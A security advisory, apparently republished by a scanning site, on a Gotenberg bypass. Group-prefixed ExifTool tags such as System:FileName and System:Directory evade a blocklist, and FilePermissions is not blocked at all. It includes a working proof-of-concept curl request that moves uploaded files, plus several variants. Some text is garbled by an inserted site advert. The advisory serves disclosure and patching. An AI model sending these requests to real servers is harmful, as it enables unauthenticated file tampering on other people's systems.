| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/gotenberg/gotenberg/v7 | all versions | |
| github.com/gotenberg/gotenberg/v8 | ≤ 8.30.1all versions | |
| gotenberg | < 8.31.0 | 8.31.0 |
Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — System:FileName — which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.
This bypasses the fix from GHSA-qmwh-9m9c-h36m.
Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John.
That's exactly what happens here:
The blocklist (exiftool.go line 275-280) blocks these tag names:
FileName
Directory
HardLink
SymLink
The check (exiftool.go line 295-301) compares what the user sent against this list:
if strings.EqualFold(key, tag) { // is "System:FileName" equal to "FileName"?
delete(metadata, key) // no — so it's NOT deleted
}
System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.
But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix — like a folder name before the tag. System:FileName and FileName both mean "rename this file." The ExifTool docs say: "A tag name may include leading group names separated by colons."
Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
// ^ colon is allowed
So the full chain is:
System:FileName → passes the regex (colon is allowed)Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeSystem:FileNameFileNameSystem:FileName → treats it as FileName → renames the fileBonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.
Setup — start Gotenberg with default settings:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
Create a folder inside the container where we'll move the file to:
docker exec gotenberg-poc mkdir -p /tmp/evil
Send the attack — one curl command:
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F '[email protected]' \
-F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'
This returns HTTP 404 because the file got moved before the server could return it.
Check that the file actually moved:
docker exec gotenberg-poc ls -la /tmp/evil/
Result:
-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf
The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.
Proof that the existing blocklist works for bare names (control test):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F '[email protected]' \
-F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'
This returns HTTP 500 — the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.
Other ways to exploit the same bug:
system:filename (lowercase) — also works because ExifTool is case-insensitivesystem:directory — moves the file to any writable folderFilePermissions — changes the file's permissions (this tag is simply missing from the blocklist entirely)Every endpoint that accepts the metadata field is affected, including /forms/chromium/convert/html, /forms/libreoffice/convert, /forms/pdfengines/merge, and all other conversion routes.
Any person who can send HTTP requests to Gotenberg (no login needed by default) can:
System:DirectorySystem:FileNameFilePermissions (this tag is not blocked at all)In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder — potentially affecting whatever service reads files from there.